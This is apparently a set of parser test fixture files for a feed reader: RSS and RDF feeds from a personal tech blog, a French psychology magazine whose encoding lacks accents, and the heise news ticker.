href=\"https://occrp.org/en\"&gt;OCCRP&lt;/a&gt;'s &lt;a href=\"https://docs.aleph.occrp.org/\"&gt;Aleph&lt;/a&gt;,\n…\nwith hands-on exercises and reporting examples based on real leaks like\n&lt;a href=\"https://en.wikipedia.org/wiki/2021_Epik_data_breach\"&gt;EpikFail&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/BlueLeaks\"&gt;BlueLeaks&lt;/a&gt;, \nthe &lt;a href=\"https://apnews.com/article/oath-keepers-leaked-membership-rolls-2ca4195ed3a10e45dd189bf98f3e5a26\"&gt;Oath Keepers leak&lt;/a&gt;,\n&lt;a href=\"https://discordleaks.unicornriot.ninja/discord/\"&gt;Unicorn Riot's DiscordLeaks&lt;/a&gt;,\n&lt;a href=\"https://theintercept.com/2021/09/28/covid-telehealth-hydroxychloroquine-ivermectin-hacked/\"&gt;AFLDS&lt;/a&gt;,\nhe &lt;a href=\"https://www.databreaches.net/heritage-foundation-wasnt-attacked-they-leaked-their-own-data/\"&gt;Heritage Foundation emails&lt;/a&gt;,\n…&lt;/p&gt;\n&lt;p&gt;It's a comprehensive yet highly digestible resource that I would wholeheartedly\nrecommend to anyone remotely interested by modern journalism practises. Hacked\nand dumped databases are all around the internet, waiting to be analysed, reported on,\ncontextualised and exposed, and with this book, anyone could help with\nthe effort of making the world a better place: sunlight is the best\ndisinfectant!&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Wed, 16 Aug 2023 16:15:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-08-16:/b/book-review-hacks-leaks-and-revelations.html</guid><category>book_reviews</category></item><item><title>mat2 0.13.4</title><link>https://dustri.org/b/mat2-0134.html</link><description>&lt;p&gt;There is a new minor version of mat2:\n&lt;a href=\"https://0xacab.org/jvoisin/mat2/tags/0.13.4\"&gt;0.13.4&lt;/a&gt;. No ground breaking\nchanges, only minor improvements, code modernisation and a bit of hardening:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Add documentation about mat2 on OSX&lt;/li&gt;\n&lt;li&gt;Make use of python3.7 constructs to simplify code&lt;/li&gt;\n&lt;li&gt;Use moderner type annotations&lt;/li&gt;\n&lt;li&gt;Harden &lt;code&gt;get_meta&lt;/code&gt; in archive.py against variants of &lt;a href=\"https://cve.circl.lu/cve/CVE-2022-35410\"&gt;CVE-2021-35410&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Improve MSOffice document support&lt;/li&gt;\n&lt;li&gt;Package the manpage on PyPI.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Thanks to &lt;a href=\"https://anelki.net/\"&gt;akierig&lt;/a&gt;, mat2 is now &lt;a href=\"https://github.com/macports/macports-ports/pull/18072\"&gt;available&lt;/a&gt; in &lt;a href=\"https://trac.macports.org/\"&gt;macports&lt;/a&gt;!&lt;/p&gt;\n&lt;p&gt;As usual, if you know some python help is\n&lt;a href=\"https://0xacab.org/jvoisin/mat2/issues?label_name%5B%5D=good+first+issue\"&gt;welcome&lt;/a&gt;.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Wed, 02 Aug 2023 21:30:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-08-02:/b/mat2-0134.html</guid><category>metadata</category></item><item><title>A sneaky Golang bug</title><link>https://dustri.org/b/a-sneaky-golang-bug.html</link><description>&lt;p&gt;Today at work, I needed a function in &lt;a href=\"https://go.dev/\"&gt;Go&lt;/a&gt; to remove\nduplicates from a slice, and thus wrote something like this using the\n&lt;a href=\"https://go.dev/doc/tutorial/generics\"&gt;generic&lt;/a&gt;-based\n&lt;a href=\"https://pkg.go.dev/golang.org/x/exp/slices\"&gt;slices&lt;/a&gt; package:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;removeDuplicates&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;mytype&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;mytype&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;slices&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;SortFunc&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;less&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;slices&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;CompactFunc&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;eq&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"k\"&gt;return&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Can you spot the bug? Here are the prototypes of the two functions:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;SortFunc&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;any&lt;/span&gt;&lt;span class=\"p\"&gt;](&lt;/span&gt;&lt;span class=\"nx\"&gt;x&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;less&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;a&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;b&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;bool&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;CompactFunc&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"nx\"&gt;S&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;~&lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;any&lt;/span&gt;&lt;span class=\"p\"&gt;](&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;S&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;eq&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;bool&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;S&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;The first has no return value, while the second does, unused in our case, hence\nthe bug. It's &lt;em&gt;interesting&lt;/em&gt; to note that the go compiler is perfectly happy\nwith this, and doesn't issue any warning: it was &lt;em&gt;extraordinarily fun&lt;/em&gt; to pinpoint.&lt;/p&gt;\n&lt;p&gt;I reached out to &lt;a href=\"https://airs.com/ian/\"&gt;Ian Lance Taylor&lt;/a&gt; who\n&lt;a href=\"https://cs.opensource.google/go/x/exp/+/03df57b9a50843fbf23bf90375d6584bcc8ea13d\"&gt;implemented&lt;/a&gt;\nthose functions in 2021 and he pointed me to &lt;a href=\"https://go.dev/blog/slices-intro\"&gt;Go Slices: usage and internals\n&lt;/a&gt;. Things indeed do become obvious once \nlooking at the &lt;a href=\"https://github.com/golang/go/blob/master/src/runtime/slice.go\"&gt;implementation of\n&lt;code&gt;slice&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kd\"&gt;type&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;slice&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kd\"&gt;struct&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;array&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;unsafe&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;Pointer&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;len&lt;/span&gt;&lt;span class=\"w\"&gt;   &lt;/span&gt;&lt;span class=\"kt\"&gt;int&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;cap&lt;/span&gt;&lt;span class=\"w\"&gt;   &lt;/span&gt;&lt;span class=\"kt\"&gt;int&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Both &lt;code&gt;slices.SortFunc&lt;/code&gt; and &lt;code&gt;slices.CompactFunc&lt;/code&gt; are taking a slice as\nparameter, and not a pointer to a slice, meaning that any changes to &lt;code&gt;len&lt;/code&gt; and\n&lt;code&gt;cap&lt;/code&gt; will be local to the function.&lt;/p&gt;\n&lt;p&gt;Anyway, There is a &lt;a href=\"https://github.com/golang/go/issues/20803\"&gt;proposal&lt;/a&gt; to require\nreturn values to be explicitly used or ignored open since 2017, but it didn't\ngo anywhere for now. There is also &lt;a href=\"https://github.com/golang/go/issues/20148\"&gt;another proposal&lt;/a&gt;\nto make &lt;code&gt;go vet&lt;/code&gt; better at highlighting error mishandling, as well as &lt;a href=\"https://github.com/kisielk/errcheck\"&gt;errcheck&lt;/a&gt;,\nbut those wouldn't really help in this case.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Wed, 02 Aug 2023 13:15:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-08-02:/b/a-sneaky-golang-bug.html</guid><category>dev</category></item></channel></rss>"
  },
  {
    "path": "internal/reader/parser/testdata/no_encoding_ISO-8859-1.xml",
    "content": "<rss version=\"2.0\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n<channel>\n\t<title>Flux RSS du magazine de psychologie Le Cercle Psy</title>\n\t<link>https://le-cercle-psy.scienceshumaines.com/rss</link>\n\t<description>Flux RSS du magazine de psychologie Le Cercle Psy, le magazine de toutes les psychologies.</description>\n\t<copyright>Le Cercle Psy</copyright>\n\t\n\t\t\t<item>\n\t\t\t\t<title>Perturbateurs endocriniens : quels effets sur le cerveau ?</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/perturbateurs-endocriniens-quels-effets-sur-le-cerveau_sh_39995</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>Si leur impact semble discret au premier abord, nombre d'tudes montrent que les perturbateurs endocriniens pourraient tre  l'origine de troubles neuro-dveloppementaux chez l'enfant.</description>\n\t\t\t</item>\n\t\t\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>Masters en Psycho: une simplificationet#8230; trs complexe</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/masters-en-psycho-une-simplification-tres-complexe_sh_40065</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>Une nouvelle nomenclature adopte en 2014 a voulu simplifier les options proposes aux tudiants en Master de Psychologie. Mais on en revient  des choix aussi illisibles qu'auparavant !</description>\n\t\t\t</item>\n\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>La criminalit lie surtout ... l'ennui ?</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/la-criminalite-liee-surtout-a-l-ennui_sh_39986</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>L'oisivet est mre de tous les vices, dit le proverbe... Certains chercheurs amricains paraissent proches de cette position !</description>\n\t\t\t</item>\n\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title></title>\n\t\t\t\t<link></link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description></description>\n\t\t\t</item>\n\t\t\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>Caroline Eliacheff :  Dolto reste authentiquement subversive </title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/caroline-eliacheff-dolto-reste-authentiquement-subversive_sh_39992</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>Franoise Dolto est morte il y a trente ans. D'abord adule par des gnrations de parents et de collgues, on lui a ensuite reproch d'avoir favoris l'mergence d'enfants-rois tyranniques. Et s'il existait une autre voie ?</description>\n\t\t\t</item>\n\t\t\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>L'enfant dou : quand trop comprendre... empche parfois de comprendre</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/l-enfant-doue-quand-trop-comprendre-empeche-parfois-de-comprendre_sh_40004</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>On ne le rptera jamais assez: raliser le portrait-robot d'un enfant dou頻, surdou頻,  haut potentiel, peu importe la qualification choisie, est vain. Cet ouvrage nous rappelle que chaque facilit, talent, comptence ou mme don, peut s'accompagner d'un versant potentiellement plus problmatique. Mais insistons: potentiellement.</description>\n\t\t\t</item>\n\t\t\t\t\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>Travail, organisations, emploi : les modles europens</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/travail-organisations-emploi-les-modeles-europeens_sh_33090</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>Les pays europens diffrent en matire de performance, de niveau de chmage et de qualit de vie au travail. Certains pays russissent mieux que d'autres et sont pris comme modles. Comment font-ils?</description>\n\t\t\t</item>\n\t\t\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>Migrants : l'urgence thrapeutique</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/migrants-l-urgence-therapeutique_sh_39180</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>Pousss  l'exil par les conflits, la pauvret et l'espoir d'une vie meilleure, les migrants arrivent aprs un long parcours. Beaucoup sont blesss, briss, dsesprs parfois. Quelle rponse pour les aider ?</description>\n\t\t\t</item>\n\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>Psy en prison, une mission impossible ?</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/psy-en-prison-une-mission-impossible_sh_38718</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>Dtenus proches de la psychose, manque cruel de moyens, hirarchie intrusive... Les praticiens intervenant en prison n'ont pas un quotidien facile. Retour sur un sacerdoce des temps modernes.</description>\n\t\t\t</item>\n\t\t\t\t\n\t\t\t<item>\n\t\t\t\t<title>Psychologue  domicile : de la clinique  l'tat brut</title>\n\t\t\t\t<link>https://le-cercle-psy.scienceshumaines.com/psychologue-a-domicile-de-la-clinique-a-l-etat-brut_sh_35540</link>\n\t\t\t\t<pubDate>Wed, 17 Oct 2018 10:30:00 GMT</pubDate>\n\t\t\t\t<description>Si tu ne peux pas venir au psychologue, le psychologue viendra  toi ! L'intervention  domicile demeure une pratique encore peu rpandue chez les psys. En quoi diffre-t-elle d'une consultation ordinaire ?</description>\n\t\t\t</item>\n\t\t\t\t\t</channel>\n</rss>\n\n"
  },
  {
    "path": "internal/reader/parser/testdata/rdf_UTF8.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://my.netscape.com/rdf/simple/0.9/\">\n\t<channel>\n \t <title>heise online News</title>\n \t <link>https://www.heise.de/newsticker/</link>\n \t <description>Nachrichten nicht nur aus der Welt der Computer</description>\n\t</channel>\n\n\n\t<item>\n\t\t<title>OLED-TVs: Vorsichtsmaßnahmen gegen Einbrennen</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/OLED-TVs-Vorsichtsmassnahmen-gegen-Einbrennen-4205274.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Wer gerade einen neuen OLED-Fernseher gekauft hat oder sich zu Weihnachten einen zuzulegen möchte, sollte unbedingt ein paar Hinweise beachten.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Mega-Deal: IBM übernimmt Red Hat</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Mega-Deal-IBM-uebernimmt-Red-Hat-4205582.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Giganten-Hochzeit in den USA: Der Computerkonzern IBM übernimmt den Open-Source-Anbieter Red Hat für umgerechnet 30 Milliarden Euro.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Fortnite-Macher: Epic Games soll 15 Milliarden Dollar wert sein</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Fortnite-Macher-Epic-Games-soll-15-Milliarden-Dollar-wert-sein-4205522.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Epic Games konnte bei einer Investionsrunde einige neue Geldgeber von sich überzeugen. Insgesamt flossen 1,25 Milliarden US-Dollar.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Erster nichtstaatlicher Raketenstart in China fehlgeschlagen</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Erster-nichtstaatlicher-Rekatenstart-in-China-fehlgeschlagen-4205524.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die Trägerrakete ZQ-1 hat es wegen unbekannter technischer Probleme nach dem Start nicht in die Erdumlaufbahn geschafft.</description>\n\t</item>\n\n\t<item>\n\t\t<title>eARC: Immer mehr Hersteller schalten HDMI-Audio-Rückkanal frei</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/eARC-Hersteller-schalten-HDMI-Audio-Rueckkanal-frei-4205518.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Während andere HDMI-2.1-Funktionen auf sich warten lassen, ist der &quot;enhanced Audio Return Channel&quot; nach einem Firmware-Update schon bei AV-Receivern nutzbar.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Vorschau: Neue PC-Spiele im November 2018</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Vorschau-Neue-PC-Spiele-im-November-2018-4202098.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Jeden Monat schicken Spiele-Hersteller zahlreiche neue Titel ins Rennen. Wir haben die wichtigsten Spiele-Neuerscheinungen im November herausgesucht.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Israelisches Start-up baut faltbares Elektroauto</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Israelisches-Start-up-baut-faltbares-Elektroauto-4205501.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Das zweisitzige Auto kann sein Fahrgestell zum Parken einklappen und passt dann auf einen Motorradparkplatz.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Flash-Speicher: WD will Produktion einschränken</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Flash-Speicher-WD-will-Produktion-einschraenken-4205498.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die Preise für NAND-Flash-Speicher kennen derzeit nur eine Richtung: abwärts. WD will dem mit Produktionseinschränkungen begegnen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>LED-Tastatur Aukey KM-G6 im Test: mechanisch, günstig und laut</title>\n\t\t<link>https://www.techstage.de/news/Mechanische-Tastatur-Aukey-KM-G6-im-Test-guenstig-und-laut-4205068.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die Aukey KM-G6 kostet weniger als 50 Euro und zeigt, dass mechanische Tastaturen nicht teuer sein müssen. Wir testen das Keyboard.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Einhörner zum Leben erwecken - Kultur-Hackathon in Mainz gestartet</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Einhoerner-zum-Leben-erwecken-Kultur-Hackathon-in-Mainz-gestartet-4205490.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>In Museen, Bibliotheken und Archive stecken viele Daten, die sich kreativ nutzen lassen. Programmierer, Designer und Historiker haben sich das vorgenommen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Impressionen von der SPIEL 2018: Gesellschaftsspiele für Nerds und Geeks</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Impressionen-von-der-SPIEL-2018-Gesellschaftsspiele-fuer-Nerds-und-Geeks-4205405.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Weg von Bildschirm und Controller, hin zu Würfeln und Karten. Die SPIEL-Messe zeigt Neuheiten bei IT-affinen Brett-, Karten- und Tabletop-Spielen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Missing Link: Vor 100 Jahren begann die deutsche Revolution</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Missing-Link-Vor-100-Jahren-begann-die-deutsche-Revolution-4205422.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Von den Sturmvögeln zu den Stiefkindern der Revolution: Mit dem Matrosenaufstand startete Deutschland in die erste Republik.</description>\n\t</item>\n\n\t<item>\n\t\t<title>4W: Was war. Was wird. Wettrüsten oder Waffelessen, das ist die Frage.</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Was-war-Wettruesten-oder-Waffelessen-das-ist-die-Frage-4205432.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Zeit! Irgendwann gab es sie gar nicht, heute wird sie uns geschenkt. Ja, auch Hal Faber weiß, dass das Quatsch ist. Wie so vieles andere.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Kommentar: Vom DNS, aktuellen Hypes, Überwachung und Zensur</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Kommentar-Vom-DNS-aktuellen-Hypes-Ueberwachung-und-Zensur-4205380.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Das DNS ist gereift, es kann mit den Bedrohungen der Überwachung und Zensur umgehen. Eine Antwort von Lutz Donnerhacke auf &quot;Die Gruft DNS gehört ausgelüftet&quot;.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Microsoft will Militär und Geheimdienste beliefern</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Microsoft-will-Militaer-und-Geheimdienste-beliefern-4205383.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Microsoft ist trotz Protesten von Mitarbeitern bereit, dem Militär und den Geheimdiensten des Landes KI-Systeme und sonstige Technologien zu verkaufen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Zurück zur &quot;Normalzeit&quot;: Uhren werden (möglichweise zum letzten Mal) um eine Stunde zurückgestellt</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Zurueck-zur-Normalzeit-Uhren-werden-moeglichweise-zum-letzten-Mal-um-eine-Stunde-zurueckgestellt-4205376.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Die Zeitumstellung könnte bald Geschichte sein. Es gibt aber Bereiche, in denen eine Umstellung sehr aufwendig werden könnte.</description>\n\t</item>\n\n\t<item>\n\t\t<title>5G: Seehofer fordert Änderung der Vergaberegeln</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/5G-Seehofer-fordert-Aenderung-der-Vergaberegeln-4205373.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Der Bundesinnenminister sieht Bewohner ländlicher Gebiete durch die Ausschreibungsregeln für das 5G-Netz benachteiligt und verlangt Nachbesserungen.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Ausstellung erinnert an das Lebenswerk von Konrad Zuse</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/Ausstellung-erinnert-an-das-Lebenswerk-von-Konrad-Zuse-4205359.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>In Hopferau im Ostallgäu stellte Konrad Zuse seine Rechenmaschine Z4 fertig. Jetzt erinnert eine Ausstellung im Schloss Hopferau an den Computerpionier.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Test TrackerID LTS-450: GPS-Flaschenhalter am Fahrrad</title>\n\t\t<link>https://www.techstage.de/news/Test-TrackerID-LTS-450-GPS-Flaschenhalter-am-Fahrrad-4205272.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Fahrraddiebe sind blöd, aber nicht dumm: Sehen sie einen GPS-Tracker, entfernen sie ihn. Deswegen tarnt sich der TrackerID LTS-450 in einem Flaschenhalter.</description>\n\t</item>\n\n\t<item>\n\t\t<title>Fünf mobile Beamer im Vergleichstest</title>\n\t\t<link>https://www.techstage.de/news/Fuenf-mobile-Beamer-im-Vergleichstest-4204823.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>In den vergangenen Wochen haben wir uns fünf kompakte Beamer mit integriertem Akku angeschaut. Im Vergleichstest zeigen wir Vor- und Nachteile.</description>\n\t</item>\n\n\t<item>\n\t\t<title>In Japan geht ein weiterer Atomreaktor wieder ans Netz</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/In-Japan-geht-ein-weiterer-Atomreaktor-wieder-ans-Netz-4205351.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Das Atomkraftwerk Ikata in Japan hat einen Reaktor wieder hochgefahren, gegen dessen Betrieb eine Bürgergruppe geklagt hatte.</description>\n\t</item>\n\n\t<item>\n\t\t<title>FlyCroTug: Kleine Drohne mit großer Zugkraft</title>\n\t\t<link>https://www.heise.de/newsticker/meldung/FlyCroTug-Kleine-Drohne-mit-grosser-Zugkraft-4205335.html?wt_mc=rss.ho.beitrag.rdf</link>\n\t\t\t<description>Forscher haben 100 Gramm leichte Minidrohnen entwickelt, die von einem festen Haltepunkt aus das 40-fache ihres Gewichts bewegen können.\r\n </description>\n\t</item>\n\n\t<item>\n\t\t<title>Google 